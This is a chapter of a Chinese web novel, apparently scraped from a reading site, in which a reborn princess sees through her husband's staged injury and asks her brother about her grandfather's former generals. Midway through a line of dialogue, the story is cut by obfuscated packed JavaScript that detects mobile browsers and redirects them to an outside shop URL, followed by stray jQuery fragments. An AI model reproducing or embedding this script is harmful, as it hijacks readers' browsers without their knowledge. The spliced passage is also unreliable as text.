默认冷灰
24号文字
方正启体

6. 06 受伤

作者:天使的自动铅笔本书字数:K更新时间:
    箫亦沅靠着她身侧,身上的袍子被血浸透了,看不出原本的颜色,脸上也有血,糊了半边,嘴唇白得吓人,眉头拧成一团,像是在昏迷中也疼得受不住,胸口微微起伏,喘得又浅又急。


    外面才涌来几个气喘吁吁的小厮和侍卫,扶着腰,喘着大气,朝着陆浄思扑通一声跪了下去。


    “王妃…爷骑着马就进来,浑身是血,小的们拽不住王爷…”


    陆浄思能听见外面众人控制烈马的嘈杂声,又看了一眼身侧的男人,他腹部渗出的血将原本红色的官服都染的变色了,身体也在不住的抖动,他的痛苦不是假的。


    “行了。”她把话打断,“你们几个来把王爷先抬到塌上。”


    几个小厮和侍女马上上前,轻轻的将箫亦沅从她身上托起,七手八脚的将他抬到床榻上,箫亦沅被搬动的时候被碰到了哪里,忍不住闷哼了一声。


    好不容易安置好他,陆浄思上前摸了摸他的额头,男人被触碰时忍不住轻颤了下。


    有些烫。


    “御医叫了吗?”陆浄思转头问。


    “御医今天进宫,现在正在来的路上。”


    陆浄思面上不显,内心在冷笑,前世也发生过这么一遭,不过这次怎么时间却提前了?


    箫亦沅遇刺本应该在半月后的雨夜,也是这样浑身是血的赶回来,也是这样疼得眉头紧锁、嘴唇发白。


    她那时候吓坏了,扑上去抱住他,眼泪止不住地流,以为他也要死了,觉得天都要塌了。


    恍惚间好像回到幼时,祖父父亲接连去世的那个冬天,她和母亲还有哥哥跪在大理寺外一天一夜无人理会,黑夜里母亲拉着她冻疮的手咬牙切齿的咒骂。


    箫亦沅紧紧抱住她,他从来没有抱过她那么紧,就好像要揉进血肉里一般,他对她哭诉对她断断续续讲着那些他心中不为人知的想法。


    那时陆浄思全盘接受,她觉得他们是一样的人,都是被这世道裹挟着、逃不掉的可怜人,想要活命就得豁出命去挣、去夺。


    她抱着他,哭着说没关系,有她在,她帮他,她帮他把大哥二哥叫来,帮他把祖父的旧部联系上,帮他一封一封地写信、一趟一趟地跑。


    床榻那边传来一声呻吟。


    她抬眼看去,箫亦沅躺在榻上,眉头紧锁,嘴唇干裂,额头上沁出细细的汗珠,小厮们正手忙脚乱地解他衣袍,想看看伤究竟在哪儿。


    陆浄思走上去,坐在旁边,伸手进他的衣服里,轻轻的触碰他腹部的伤口。


    箫亦沅顿时浑身紧绷。


    手底下是湿漉漉的、温热的血,伤口在腹部偏左的位置,刀口不算太深,也不在要害,陆浄思指尖往下压了压,箫亦沅的眉头又拧紧了些,嘴里含糊地哼了一声。


    非致命的腹部伤,和前世几乎一样,看起来吓人,但其实并不要命。


    陆浄思感觉到指尖下的躯体随着她的动作而呼吸变得起起伏伏。


    陆浄思垂着眼,嘴角几不可察地动了动。


    他没昏过去。


    至少没晕得那么死,她按他伤口的时候,他能感觉到,能控制着自己不躲,能继续闭着眼装晕,这份忍耐力,倒真不愧对他这些年练出来的本事。


    她收回手,叹了口气,对下人说,“拿药箱来,热水、干净的白布、金创药,都拿来。”


    东西很快就递了上来,陆浄思快速扒了他的外衫,给他换上药,虽然她很想让这人自生自灭。


    但很可惜,这场戏她不能罢唱。


    “你们都出去吧,御医来了再进来。”


    床榻前的一众人你看看我,我看看你,半响也没一个人动弹。


    “我说出去。”


    陆浄思提高声音,目光从那几个人脸上扫过去,吓得他们低下头,转身就往外跑,剩下几个也跟着,一窝蜂涌出去。


    陆浄思收回目光,伸手拍了拍箫亦沅的脸。


    箫亦沅的眉头皱了皱,眼皮微动,像是挣扎着要从昏迷中醒过来,过了一会儿,他慢慢睁开眼,目光涣散地往上看了几眼,最后落在她脸上。


    看见陆浄思的瞬间,他的眼眶就红了,眼泪从眼角滑下来,滴在她手心里。


    是滚烫的。


    然后他就不顾一切地扑上前抱住她,身上的血蹭了她一身,伤口大概也扯着了,疼得他抽了口气,却也没松手,他头埋在她颈窝里,肩膀一抽一抽的,像个受了天大委屈的孩子。


    陆浄思被他抱着,手悬在半空,有那么一瞬,也恍惚了一下。


    但她知道他接下来要说什么。


    ——那些人想让我死,想让你死,也想要陆家死,怎么办思儿,我该怎么保护你。


    箫亦沅抚摸着她的头发,在她耳边带着哭腔说,“那些人想让我死,想让你死,也想要陆家死,怎么办思儿,我该怎么保护你。”


    ——思儿,我不想争,真的不想。可我若不争,咱们就都得死。


    “思儿,我不想争,真的不想。”


    他把脸埋在她肩窝里,声音闷闷的。


    “可我若不争,咱们就都得死。”


    “就像陆家一样。”


    这是箫亦沅第一次对她展露出弱势与胆怯,陆浄思从前当真是信了这人是被逼夺嫡,她觉得他终于肯在她面前卸下伪装,她觉得他们是绑在一根绳上的蚂蚱,她觉得她必须帮他。


    陆浄思垂下眼,眼眶红了,泪水涌来,滴落在了地上。


    陆浄思用手捂住脸颊,语气里带着哭腔,糯糯的说,“那我们…该怎么办…”


    箫亦沅猛地抬头,眼睛里带着某种奇异的光芒,他一把握住她的手,急切地说:“我还有你,还有陆家啊!”


    “祖父去世前那些遣散的旧将,思儿,你知道他们在哪吗?”


    “那些…不都是前朝将军吗?”


    “无妨。”


    她松开手,露出一双红红的眼睛,懵懵懂懂地看着他:“这些事……我不懂……”


    箫亦沅愣了一下,像是没想到她会这么回答。


    “我回去问问哥哥们。”陆浄思抽了抽鼻子,“他们懂这些。”


    箫亦沅把她的手握的更紧了:“思儿,我只能靠你了。”


    她低下头,含糊地应了一声:“嗯……我会努力的……”


    屋里静了一瞬,箫亦沅松开手,把她揽进怀里,下巴抵在她头顶上,轻轻拍着她的背。


    陆浄思靠在他怀里,能感觉到他胸口的心跳。


    他们的心跳都很稳。


    *


    在箫亦沅在府里养伤的日子里,陆浄思正巧借着这个机会回了趟陆府。


    出府的时候,天阴着,没什么太阳,祁王妃马车在将军府门口停下,陆浄思踩着凳子下来,站在门前,抬头看那块匾额。


    “将军府”三个字,还是老样子。


    陆家的下人不多,不像祁王府走两步路就能碰见个下人。


    她往里走,绕过回廊,远远就看见院子里有个女人拿着小壶,正弯着腰浇花,一株花开得正好,粉粉白白的,被水珠子一浇,越发鲜亮。


    陆浄思站在回廊尽头,没出声,只是远远的看着,看着母亲浇完那株花,直起腰才往这边转头。


    两人的目光隔着半个院子对上了。


    小壶应声落地,水洒了一地。


    “三娘!”


    母亲往前走了两步又站住,像是怕看错了。


    陆浄思鼻子一酸,笑着扑过去。


    两人抱在一起踉踉跄跄的向后跌了几步,陆浄思看着面前的母亲,她脸上的皱纹还很少,眼里的光芒也没减退,还对她念叨着:


    “你这孩子,回来怎么也不给娘提前说一声,祁王呢?陪你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321161|199067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一起回来的吗?”


    陆浄思摇了摇头,把脸埋在母亲肩膀上,不说话。


    她有大半辈子没见过母亲了。


    眼泪不知道什么时候流下来的,等她发觉的时候,已经糊了满脸,她使劲眨了眨眼,想把眼泪眨回去,却越眨越多。


    母亲被她吓着了,手忙脚乱地拍她:“怎么了怎么了?”


    又扯着嗓子把家里那些陆浄思熟悉的老嬷嬷都叫了出来,她们拉着她的手净说些好听的,搞得陆浄思又哭又笑的,吸了吸鼻子,说,“就是想娘了。”


    母亲看了她一眼,没说话,只挥挥手让那些嬷嬷都下去。


    走进厅里坐下,母亲才又拉着她的手,翻来覆去地看,看完了又看她的脸。


    “真没受委屈?”母亲问。


    “真没事。”


    “唉…”她长叹一口气,“你说你要嫁给祁王前我问你你爱他吗?你说你爱,我那时候不太信,可后来看你过得也算开心,我就信了。”


    “可你今天这么一哭。”她看着陆浄思的眼睛,“我怎么觉得你跟换了个人似的?”


    陆浄思心想,可不是换了个人么,她笑了笑,没接话。


    两个人又说了些家长里短,母亲说隔壁王家的媳妇生了个大胖小子,又说巷口那家铺子的衣裳又涨价了,说你两个哥哥天天念叨你,说你当了王妃就忙了,连个人影都见不着。


    正说着,外头传来脚步声。


    陆浄思抬头,看见两个穿着官服的男人,前面这个一身劲装,腰背挺直,眉宇间自有一股英气;后面那个也是差不多的打扮,站在前面那人身后,正使劲儿往前探头。


    她的双胞胎哥哥回来了!


    前面的那个是陆家大哥陆嘉瑞,后面的是陆家二哥陆嘉鸣,他们分别在朝中当些闲职,一个是左领军卫将军,另一个在殿前司当值,两人刚下值,就看见家里出现了个日思夜想的女孩。


    “三娘回来了?在哪儿呢?”“你别挤我…我先…”


    两个庞然大物一前一后冲进来。


    陆家鸣率先出现在陆浄思的面前,“三娘!你可算回来了——”


    陆家瑞没说话,但眼睛一直看着她,上上下下打量了好几遍,像是在看她有没有哪里受委屈。


    陆浄思站起来,笑着叫了声,


    “大哥”“二哥”。


    陆嘉鸣几步跨过来,想抱又不好意思抱,搓着手站在那儿傻笑,陆嘉瑞走过来,伸手在她肩上拍了一下,拍得很轻。


    “还好吧。”


    陆浄思鼻子又酸了。


    但她想起今天回来的正事,顾不上煽情,拉了拉大哥的袖子就往外走:“大哥,借一步说话。”


    陆嘉鸣在旁边急了:“凭什么只跟他说?我呢我呢?”


    陆浄思回头看了他一眼,毫不留情:“你太吵。”


    陆嘉鸣:“……”


    陆嘉瑞跟着她走到廊下,压低声音问:“发生什么事了?”


    她也压低声音:“大哥,祖父往日的那些旧将,如今都在何处?我该如何能联系上。”


    陆嘉瑞脸色一变,他声音沉下来,压得极低极低:“是不是他问的?”


    陆浄思还没开口,他又忽然提高声音:“是不是那个人问的你?!”


    她一把捂住他的嘴,急得跺脚:“哥,小声点,算我求求你了,别让母亲听见…”


    已经晚了。


    一回头,母亲就站在二人身后,面色铁青。


    陆浄思和大哥对视一眼,一起低下头,老老实实并肩站在母亲面前,像两个挨罚的孩童,低着头不敢说话。


    周围好静,静得能听见窗外风吹树叶的沙沙声,静得能听见远处隐约的更鼓声,静得陆浄思能听见自己的心跳声。


    母亲叹了口气。


    “他还是开口了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)